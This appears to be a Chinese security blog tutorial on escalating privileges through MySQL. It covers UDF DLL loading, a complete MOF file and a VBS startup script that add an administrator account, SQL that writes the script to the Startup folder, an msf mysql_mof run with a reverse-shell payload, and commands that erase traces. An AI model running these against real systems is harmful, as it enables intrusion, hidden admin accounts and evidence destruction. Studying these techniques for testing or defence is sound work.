您当前的位置: 首页 >  sql

合天网安实验室

暂无认证

  • 0浏览

    0关注

    748博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

mysql提权总结

合天网安实验室 发布时间:2021-09-17 16:20:00 ,浏览量:0

前言

前两天参加了省赛的内网渗透,在拿到webshell后发现是一个站库分离,通过信息搜集得到了数据库的账号密码,但是是一个www-data权限,执行不了代理的命令,这时候就需要提权到root权限才能够执行命令,最后还没有通过udf提权,而是通过/tmp这个目录能够修改权限,改为777权限后使用的代理。因为linux打得比较少,我们队在这个地方卡了很久,导致只打到了第一层网络,第二层内网就没有时间去打,所以补一下关于mysql的提权知识。

UDF提权 何为UDF

UDF是mysql的一个拓展接口,UDF(Userdefined function)可翻译为用户自定义函数,这个是用来拓展Mysql的技术手段。

使用过MySQL的人都知道,MySQL有很多内置函数提供给使用者,包括字符串函数、数值函数、日期和时间函数等,给开发人员和使用者带来了很多方便。MySQL的内置函数虽然丰富,但毕竟不能满足所有人的需要,有时候我们需要对表中的数据进行一些处理而内置函数不能满足需要的时候,就需要对MySQL进行一些扩展,幸运的是,MySQL给使用者提供了添加新函数的机制,这种使用者自行添加的MySQL函数就称为UDF(User Define Function)。其实除了UDF外,使用者还可以将函数添加为MySQL的固有(内建)函数,固有函数被编译进mysqld服务器中,称为永久可用的,不过这种方式较添加UDF复杂,升级维护都较为麻烦,这里我们不做讨论。无论你使用哪种方法去添加新函数,它们都可以被SQL声明调用,就像 ABS()或SUM()这样的固有函数一样。

UDF利用条件

1.知道数据库的用户和密码;2.mysql可以远程登录;3.mysql有写入文件的权限,即secure_file_priv的值为空。

关于第一点就不用多说了,可以通过拿到webshell之后翻阅文件得到,对于不同情况下有不同得获取方式,这里不再赘述;主要提一下第二三点。

在默认情况下,mysql只允许本地登录,我们知道可以通过navicat去连接数据库(在知道帐号密码的情况下),但是如果只允许本地登录的情况下,即使知道账号密码的情况下也不能够连接上mysql数据库,那么在这种情况下就只有通过拿到本机的高权限rdp登陆远程桌面后连接。

远程连接对应的设置在mysql目录下的/etc/mysql/my.conf文件,对应的设置为bind-address = 127.0.0.1这一行,这是默认情况下的设置,如果我们要允许在任何主机上面都能够远程登录mysql的话,就只要把bind-address改成0.0.0.0即可,即bind-address = 0.0.0.0

光更改配置文件还不够,还需要给远程登陆的用户赋予权限,首先新建一个admin/123456用户,使用%来允许任意ip登录mysql,这样我们就能够通过navicat使用admin/123456用户远程连接到数据库

grant all on *.* to admin@'%' identified by '123456' with grant option;
flush privileges;

关于第三点的secure_file_priv参数,这里有三个值,分别为NULL/tmp、空,NULL顾名思义即不允许导入或导出,那么在这种情况下就不能使用sql语句向数据库内写入任何语句,/tmp的意思是只能在/tmp目录下写入文件,这种情况下就需要考虑写入文件到文件夹后能否在网页上访问连接到这个目录,如果这个值为空,那么就可以通过构造sql语句向mysql数据库下的任何目录写入文件。

这里还有一个需要了解的点就是在mysql5.5版本之前secure_file_priv这个值是默认为空的,那么我们拿到的webshell如果对应的mysql数据库版本在5.5以下的话操作起来就比较方便,在mysql5.5版本之后secure_file_priv这个值是默认为NULL的,即不能够往数据库内写入文件。

手动提权

首先这里现在官网下载一个mysql,这里我下载的是5.5.19,注意这里需要下msi文件,不要下zip文件

22e1d3b58407d1928c4b3eaf38ec87a0.png

下载好后进行安装即可

5f1133fe56214b9eb94024805d31f0ba.png

这里使用utf-8字符集

b73ad13499a4db362b87fa90af9bbdbf.png

安装好后使用mysql -u root -p进入mysql

ac1afcdd54d0ddb2a7dc187b536b5287.png

因为我是5.5.19版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。这里说到了动态链接库,动态链接库就是实现共享函数库概念的一种方式,在windows环境下后缀名为.dll,在linnux环境下后缀名为.so

那么这里利用.dll.so文件在哪里去找呢?这两个文件在sqlmap和msf里面都有内置

首先在sqlmap里面找一下,在sqlmap里面对应的目录地址为udf/mysql,这里进入目录后可以看到sqlmap已经帮我们分好类了

a1e22fcc301152a498d5d26fe0ad788b.png

不过 sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。这里如果后缀名为.so_dll_的话,就需要解码,如果后缀名为.so.dll的话就不需要解码即可直接使用。这里sqlmap也自带了解码的py脚本,在/extra/cloak目录下,使用cloak.py解密即可。

1813350fd3feab5dae15c85f6825d3df.png

命令如下(这里使用到64位的dll,其他版本改后缀名即可)

python3 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll

672ddb419b999be72fbca755dc65451a.png

ca8e93b174be566f7d4d809537a48f90.png

这里好像因为我本机的环境配置的问题这里py3没有执行成功,这里换到kali环境里面使用py2解密

python2 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll

544653c129653e77c19cc322ab702987.png

另外可以用msf提供的动态链接库文件,这里注意msf里面的动态链接库是已经解密好了的可以直接使用,msf下的动态链接库目录如下

/usr/share/metasploit-framework/data/exploits/mysql/

13d879da915307629e8d88cec9eef65e.png

直接拿出来使用010 editor进行查看是包含了一些函数

7ba84bfce6a83f54f7ce4393a96146d0.png

解密过程完成之后就需要把解密得到的UDF动态链接库文件放到mysql的插件目录下,这里使用如下命令查询插件目录的位置

show variables like "%plugin%";

这里可以看到我的插件目录就是C:\Program Files\MySQL\MySQL Server 5.5\lib/plugin

4f34616add687075554fd471620ebe38.png

使用select @@basedir查看一下MySQL安装的位置

d118dbb8c0551a05c7378c3fac44f592.png

这里因为只单独安装了一个MySQL,没有安装其他的web,所以为了更好的还原环境,这里使用phpstudy来搭建环境,这里假设我已经拿到了一个目标机器的webshell,但是这里权限很低,使用到udf提权

首先来到MySQL/lib文件夹下,这里可以看到是没有plugin这个文件夹的,所以这里需要我们先创建一个文件夹

bb3463cccc5c8914bd01ddca65b5bb85.png

创建plugin文件夹

2b70ea58385e5aaa3773e7b8de34fb11.png

然后把解密过后的lib_mysqludf_sys_64.dll放到plugin文件夹下

e1f6edc194b5add859b2d20596157365.png

这里为了方便我把dll改名为udf.dll,但是这里报错ERROR 1126,这里我百度过后发现这个dll并不是跟系统位数有关的,而是跟mysql版本有关系,而且phpstudy自带的mysql版本需要用32位的dll才能够操作

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

7f77f62643f02c9a6c0c04408d5daf29.png

这里我上传一个32位的dll到plugin文件夹内

730d48446ebfe3ce81210325b2023662.png

再使用命令创建自定义函数即可

d1e062b7211bc7080dae989f0d614c15.png

然后使用命令查看是否新增了sys_eval函数

select * from mysql.func;

ad49b450603a5308a82e0086fa236b42.png

可以看到这里创建成功那么就可以执行系统命令,到这里就是一个高权限了,而且如果有disable_functions把函数禁用了,用udf提权也是能够操作的

da6a8bddebc19194b3bf3f217385349f.png

拓展:UDF shell 允许外连

这里可以使用写好的大马udf.php来自动提权,我们测试一下

首先把php上传到可以网页访问的位置,这里我直接连接报错了应该是因为没有设置可以外连,只允许本地连接,首先实验一下允许外联的情况

e33864a6c4dcb77b8dd5f77df4847e9e.png

这里进入my.ini文件设置bind-address = 0.0.0.0

7721dc581f5520b8fb5ad17d49993048.png

然后创建一个admin/123456用户允许外连

8df139d266947b71e15e2c26b0af758d.png

再次登录即可登录成功

5903df95e39a04bc979e4a8cfc5fe2db.png

这里首先dump udf.dllplugin文件夹下,这里可以看到dump dll成功

c73273f6b3578cf7f3f05484f5b8c3c7.png

然后创建函数,再执行命令即可

不允许外连

这里我们再把bind-address = 0.0.0.0这行注释掉之后进行试验,因为不允许外连,那么只有本地连接数据库,这时候很容易想到正向连接我们代理进去连接数据库。这里使用reg、ew都可以,但是这里因为是mysql的原因,使用navicat自带的tunnel脚本会更加方便。

首先测试一下,是不允许外连的(这里图搞错了)

b0e3d65e9a133bf0b1bef660223c7edf.png

这里上传nutunnel_mysql.php到靶机上访问,这里看到已经连接成功了

8c3b4239ceb7c5b29b22ab41e5e9512c.png

然后连接的时候设置HTTP隧道

1f3ddb1daf13d24f2adb295a491770e8.png

即可连接到mysql,然后提权操作同前

01b8c053ef094ddefc28b8fbc09f8dde.png

MOF提权

mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。

利用条件
  1. 只使用于windows系统,一般低版本系统才可以用,比如xpserver2003

  2. C:\Windows\System32\wbem\MOF目录有读写权限

  3. 可以找到一个可写目录,写入mof文件

手动提权

这里我没有安装2003的虚拟机,所以就不放图了,写一下提权的步骤

生成testmod.mod文件并上传到靶机的可写目录

#pragma namespace("\\\\.\\root\\subscription")


instance of __EventFilter as $EventFilter
{
  EventNamespace = "Root\\Cimv2";
  Name = "filtP2";
  Query = "Select * From __InstanceModificationEvent "
          "Where TargetInstance Isa \"Win32_LocalTime\" "
          "And TargetInstance.Second = 5";
  QueryLanguage = "WQL";
};


instance of ActiveScriptEventConsumer as $Consumer
{
  Name = "consPCSV2";
  ScriptingEngine = "JScript";
  ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test test123 /add\")\nWSH.run(\"net.exe localgroup administrators test /add\")";
};


instance of __FilterToConsumerBinding
{
  Consumer   = $Consumer;
  Filter = $EventFilter;
};

进入mysql命令行执行导入命令,导入完成过后系统会自动运行

select load_file("nullevt.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"

使用net user命令即可发现已经加入了管理员组

msf提权

msf内置了MOF提权模块,相比于手动提权的好处就是msf的MOF模块有自动清理痕迹的功能

use exploit/windows/mysql/mysql_mof
set payload windows/meterpreter/reverse_tcp
set rhosts 192.168.10.17
set username root
set password root
run
拓展

因为每隔几分钟时间又会重新执行添加用户的命令,所以想要清理痕迹得先暂时关闭 winmgmt 服务再删除相关 mof 文件,这个时候再删除用户才会有效果

# 停止 winmgmt 服务
net stop winmgmt


# 删除 Repository 文件夹
rmdir /s /q C:\Windows\system32\wbem\Repository\


# 手动删除 mof 文件
del C:\Windows\system32\wbem\mof\good\test.mof /F /S


# 删除创建的用户
net user hacker /delete


# 重新启动服务
net start winmgmt
启动项提权

windows开机时候都会有一些开机启动的程序,那时候启动的程序权限都是system,因为是system把他们启动的,利用这点,我们可以将自动化脚本写入启动项,达到提权的目的。当 Windows 的启动项可以被 MySQL 写入的时候可以使用 MySQL 将自定义脚本导入到启动项中,这个脚本会在用户登录、开机、关机的时候自动运行。

这个地方既然碰到了启动项提权,就总结一下不限于mysql的启动项提权方法。

启动项路径

在windows2003的系统下,启动项路径如下:

C:\Documents and Settings\Administrator\「开始」菜单\程序\启动
C:\Documents and Settings\All Users\「开始」菜单\程序\启动

在windows2008的系统下,启动项路径如下:

C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
自动化脚本

我们在拿到一个网站的webshell的时候如果想进一步的获得网站的服务器权限,查看服务器上系统盘的可读可写目录,若是启动目录 “C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup” 是可读可写的,我们就可以执行上传一个vbs或者bat的脚本进行提权。

这里使用test.vbs添加用户密码,上传到启动目录重启的时候即可自动添加账号密码

set wshshell=createobject("wscript.shell")
a=wshshell.run("cmd.exe /c net user test test123 /add",0)
b=wshshell.run("cmd.exe /c net localgroup administrators test /add",0)
使用sql语句

连接到mysql之后创建一个表写入sql语句

use mysql;
create table test(cmd text);
insert into a values(“set wshshell=createobject(“”wscript.shell””)”);
insert into a values(“a=wshshell.run(“”cmd.exe /c net user test test123 /add“”,0)”);
insert into a values(“b=wshshell.run(“”cmd.exe /c net localgroup administrators test /add“”,0)”);
select * from a into outfile “C:\Documents and Settings\All Users\「开始」菜单\程序\启动\secist.vbs”;

5df2e496dd4900d28c9d26573d79063e.png

重启之后即可提权

c79c0e5ef83ee424167a6229c6e7f94f.png

CVE-2016-6663&CVE-2016-6664

CVE-2016-6663是竞争条件(race condition)漏洞,它能够让一个低权限账号(拥有CREATE/INSERT/SELECT权限)提升权限并且以系统用户身份执行任意代码。也就是说,我们可以通过他得到一整个mysql的权限。

CVE-2016-6664是root权限提升漏洞,这个漏洞可以让拥有MySQL系统用户权限的攻击者提升权限至root,以便进一步攻击整个系统。

导致这个问题的原因其实是因为MySQL对错误日志以及其他文件的处理不够安全,这些文件可以被替换成任意的系统文件,从而被利用来获取root权限。可以看到,两个cve分别是用来将低权限的www-data权限提升为mysql权限,然后再将mysql提升为root权限。

利用条件

CVE-2016-6663

  • 1.已经getshell,获得www-data权限

  • 2.获取到一个拥有create,drop,insert,select权限的数据库账号,密码

  • 3.提权过程需要在交互式的shell环境中运行,所以需要反弹shell再提权

  • 4.Mysql

关注
打赏
1665306545
查看更多评论
立即登录/注册

微信扫码登录

0.0437s